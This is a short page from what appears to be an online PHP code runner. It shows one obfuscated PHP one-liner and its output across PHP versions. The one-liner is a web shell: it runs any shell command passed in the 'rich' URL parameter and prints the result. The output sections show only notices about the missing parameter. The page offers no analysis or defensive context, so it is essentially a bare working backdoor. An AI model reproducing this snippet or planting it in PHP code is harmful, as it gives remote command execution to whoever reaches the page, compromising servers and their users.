3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?=($or=`$_GET[rich]`)?$or:die(trying)?>
Output for 7.2.0 - 7.3.0rc4
Notice: Undefined index: rich in /in/fmTQ1 on line 1 Warning: Use of undefined constant trying - assumed 'trying' (this will throw an Error in a future version of PHP) in /in/fmTQ1 on line 1 trying
Output for 5.4.0 - 7.1.20
Notice: Undefined index: rich in /in/fmTQ1 on line 1 Notice: Use of undefined constant trying - assumed 'trying' in /in/fmTQ1 on line 1 trying
Output for 4.3.0 - 5.3.29
<?=($or=`$_GET[rich]`)?$or:die(trying)?>